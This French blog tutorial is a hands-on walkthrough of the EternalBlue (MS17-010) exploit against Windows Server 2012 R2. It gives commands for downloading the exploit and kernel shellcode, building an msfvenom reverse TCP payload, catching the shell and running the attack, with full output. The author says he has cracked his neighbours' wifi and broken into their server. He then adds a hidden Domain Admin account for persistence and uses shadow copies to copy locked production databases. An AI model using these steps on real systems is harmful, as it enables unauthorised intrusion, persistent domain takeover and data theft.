Table des matières
WannaCry: Mise en pratique d'un exploit sur Windows 2012 R2 a partir de Linux
Après mon petit article sur une manière d'exploiter la faille “SMBv1
” popularisé par WannaCry et Petya , j'étais malgré tout un peu frustré de ne pas trouver de méthode pour prendre le contrôle de certaines versions de Windows, dont “Windows 2012 R2
”.
Alors je vais d'abord saluer ici les developpeurs qui réalisent ces exploits, mais aussi ces administrateurs qui ne mettent jamais à jour leurs Windows, qui ne lisent pas la presse, qui se croient invulnérable, et qui me donne ici l'occasion de réaliser un exploit tel, que je deviens “Domain Admins
”
Parce qu'il y a quelques jours, l'exploit s'appuyant sur la faille “MS17-010
” a été porté pour “Windows 2012 R2
”, et je vais montrer comment le mettre en pratique…
~~READMORE~~
Mes principales sources d'informations sont là:
metasploit
D'abord, il va falloir installer l'environnement “metasploit
”: j'ai déjà montré comment faire dans un précédent article.
Avec le présent exploit, l'utilisation de “metasploit
” se limitera a générer une partie de la “charge utile” (voir explication juste après) et a fournir, via “msfconsole
”, une interface pour communiquer avec le Windows “hidjacked”.
L'exploit en Python
Le scripte permettant la réalisation de l'exploit existe en 2 versions:
L'une pour Windows 7 (et dérivé) et l'autre pour Windows 8 (et Windows 2012).
Les scriptes sont disponibles par là: https://github.com/worawit/MS17-010
La version pour “Windows 7
” fonctionne aussi, mais c'est ici la version “Windows 8
” qui m'interesse.
On télécharge le scripte:
$ wget -c https://raw.githubusercontent.com/worawit/MS17-010/master/eternalblue_exploit8.py
Ce scripte attend 2 paramètres obligatoires:
- L'adresse IP de la cible
- La charge utile (“payload”)
Grâce a ce scripte, la “charge utile” (payload) qu'on va fabriquer nous-même, sera injecté et éxécuté dans le Windows vulnérable.
Payload
Cette charge utile est constituée de 2 bouts de programmes:
- Le programme permettant de devenir administrateur (“ring 0”) à partir de la faille “
eternalblue
”. - Le programme permettant d'avoir un terminal pour éxecuter des commandes à distance.
Kernel shellcode
Donc, il nous faut d'abord télécharger un “kernel shellcode
” écrit en assembleur, et puis le compiler.
Les “shells code” sont téléchargeable par là: https://github.com/worawit/MS17-010/tree/master/shellcode
Pour ma démonstration, je vais juste compiler la version “64 bit”. (mais bien sur, vous choisissez selon l'architecture du Windows visé)
On télécharge:
$ wget -c https://raw.githubusercontent.com/worawit/MS17-010/master/shellcode/eternalblue_kshellcode_x64.asm
On va devoir compiler ce bout de code avec “nasm
”, donc si nécessaire, on l'installe:
$ sudo apt-get install nasm
Et on compile pour générer un “bin
”:
$ nasm -f bin eternalblue_kshellcode_x64.asm
Ce qui génére un tout petit fichier nommé “eternalblue_kshellcode_x64
”
"reverse_tcp"
Maintenant, avec les outils fournit avec “metasploit
”, il faut préparer un autre bout de code qui permet d'avoir les fonctions de terminale.
Pré-requis important:Vous devez déterminer votre propre adresse “IP
” ainsi que le “Port
” qui sera en écoute.
Dans l'environnement “metasploit
”, il s'agit respectivement des paramètres “LHOST
” et “LPORT
”
Pour cette démonstration, je détermine ma propre “IP
” comme ceci:
$ ip a ... 2: wlp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 28:16:ad:4d:3f:df brd ff:ff:ff:ff:ff:ff inet 192.168.1.113/24 brd 192.168.1.255 scope global dynamic wlp2s0 ...
Donc, ce sera (en “wifi”) l'IP: “192.168.1.113
”
Pour le port , j'utilise le classique “4444
”.
Et enfin, j'execute la commande suivante avec les paramètres qui vont bien:
$ msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=192.168.1.113 LPORT=4444 No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 511 bytes Saved as: shell_msf.bin
Plus d'info sur “Venom
” ici par exemple: https://homputersecurity.com/2017/06/01/venom-le-generateur-de-shellcode-metasploit/
L'union fait la force
Et pour finir, il suffit de “coller” ces 2 bouts de “bin” ensemble:
$ cat eternalblue_kshellcode_x64 shell_msf.bin > reverse_shell.bin
Notre charge utile complète se nomme “reverse_shell.bin
”
Mise en pratique
On a d'abord repéré un Windows vulnérable:
$ python smb_exploit.py 192.168.30.5 [+] [192.168.30.5] is likely VULNERABLE to MS17-010! (Windows Server 2012 R2 Standard 9600)
Donc, tout est prêt:
- Le script pour realiser l'exploit: “
eternalblue_exploit8.py
” - La charge utile (“payload”) qu'on a préparé
- L'IP de la cible
Préparer le terminal
Maintenant, dans une autre session , on demarre “msfconsole
”:
$ msfconsole
Ceci fait, au prompt “msf >
”, on tape:
msf > use exploit/multi/handler
Le prompt change en :
msf exploit(handler) >
On poursuit:
msf exploit(handler) > set PAYLOAD windows/x64/shell/reverse_tcp PAYLOAD => windows/x64/shell/reverse_tcp
Et puis on défini les paramètres d'ecoute du service (les mêmes que ceux inscrit dans le “payload” qu'on a créé):
msf exploit(handler) > set LHOST 192.168.1.113 LHOST => 192.168.1.113 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) >
Maintenant, on peut démarrer ce service en ecoute dans “metasploit
” en tapant simplement:
msf exploit(handler) > run
Et alors le service passe en attente….
[*] Started reverse TCP handler on 192.168.1.113:4444 [*] Starting the payload handler...
Lancer l'exploit
Dans une autre session, on démarre l'exploit avec pour arguments l'IP de la cible , ainsi que notre “charge utile”.
$ python eternalblue_exploit8.py 192.168.30.5 reverse_shell.bin shellcode size: 1262 numGroomConn: 13 Target OS: Windows Server 2012 R2 Standard 9600 got good NT Trans response got good NT Trans response SMB1 session setup allocate nonpaged pool success SMB1 session setup allocate nonpaged pool success good response status for nx: INVALID_PARAMETER good response status: INVALID_PARAMETER done
Si on se donne la peine de jeter un coup d'oeil sur la session précédente, “msfconsole
”, on constate qu'on a obtenu le shell attendu:
[*] Sending stage (336 bytes) to 192.168.30.5 [*] Command shell session 1 opened (192.168.1.113:4444 -> 192.168.30.5:61949) at 2017-06-25 02:33:24 +0200 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>
Prise de contrôle
Pas de bol pour mes voisins … Non seulement j'ai craqué leur wifi, mais voila que je suis sur l'un de leur serveur !
Devenir Admin du domaine
Je vais rapidement montrer comment devenir admin de leur domaine
C:\Windows\system32>net user net user User accounts for \\ ------------------------------------------------------------------------------- Administrator Guest krbtgt The command completed with one or more errors.
“krbtgt
” , ça sent le controleur de domaine
C:\Windows\system32>net share net share Share name Resource Remark ------------------------------------------------------------------------------- C$ C:\ Default share D$ D:\ Default share IPC$ Remote IPC ADMIN$ C:\Windows Remote Admin NETLOGON C:\Windows\SYSVOL\sysvol\SCRIPTS Logon server share SYSVOL C:\Windows\SYSVOL\sysvol Logon server share The command completed successfully. C:\Windows\system32>
Oooooh, on est bien.
C:\Windows\system32>net user Administrator net user Administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain ... Local Group Memberships *Administrators Global Group memberships *Group Policy Creator *Domain Admins *Enterprise Admins *Schema Admins *Domain Users The command completed successfully. C:\Windows\system32>
Yeah !
Bon, et bien devenons Admin de ce domaine
C:\Windows\system32>net user John PASSWORD /ADD /Y net user John PASSWORD /ADD /Y The command completed successfully.
C:\Windows\system32>net localgroup Administrators John /add net localgroup Administrators John /add The command completed successfully.
C:\Windows\system32>net user John /expires:never net user John /expires:never The command completed successfully.
C:\Windows\system32>net group "Domain Admins" John /add net group "Domain Admins" John /add The command completed successfully.
Et voila
Divers: Shadow Copy
Un petit truc, pour pouvoir copier des données bloqués par un processus en cours, genre: une base de données “MS SQL Server
” sur un serveur en prod.
Au lieu de killer le process, on va plutôt utiliser le système “VSS
” , soit le “Volume Shadow Copy Service
”.
Donc, soit des bases de données “busy” dans “D:\MSSQL\DB
” : vous avez beau être “Admin”, vous ne pouvez pas y toucher.
Vérifier s'il y a déjà des volumes “shadow
”:
D:\MSSQL\DB>vssadmin list shadows vssadmin list shadows vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. No items found that satisfy the query.
Créer un volume “Shadow
” de “D:
” :
D:\MSSQL\DB>vssadmin create shadow /for=D: /autoretry=1 vssadmin create shadow /for=D: /autoretry=1 vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. Successfully created shadow copy for 'D:\' Shadow Copy ID: {efd9063e-3148-42df-824c-77612d49b2bf} Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
On va rendre ce volume visible dans “D:\MSSQL\VSS
” , et pour cela , il faut créer un lien symbolique.
Ne pas oublier le “\ ” a la fin … |
Rendre ce volume visible sur disque:
D:\MSSQL>mklink /d D:\MSSQL\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ mklink /d D:\MSSQL\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ symbolic link created for D:\MSSQL\VSS <<===>> \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Maintenant, on peut partager au monde ces documents:
D:\MSSQL>net share VSS$=D:\MSSQL\VSS "/GRANT:Administrators,FULL" net share VSS$=D:\MSSQL\VSS "/GRANT:Administrators,FULL" VSS$ was shared successfully.
Après avoir copié joyeusement , on referme tout ça…
D:\MSSQL>net share VSS$ /DELETE net share VSS$ /DELETE VSS$ was deleted successfully.
D:\MSSQL>rmdir VSS rmdir VSS
D:\MSSQL>vssadmin delete shadows /Shadow={efd9063e-3148-42df-824c-77612d49b2bf} /Quiet vssadmin delete shadows /Shadow={efd9063e-3148-42df-824c-77612d49b2bf} /Quiet vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp.
Et voila: Un jour prochain, je montrerai peut être comment craquer les mots de passe de milliers de comptes extrait d'une base de données de 100Go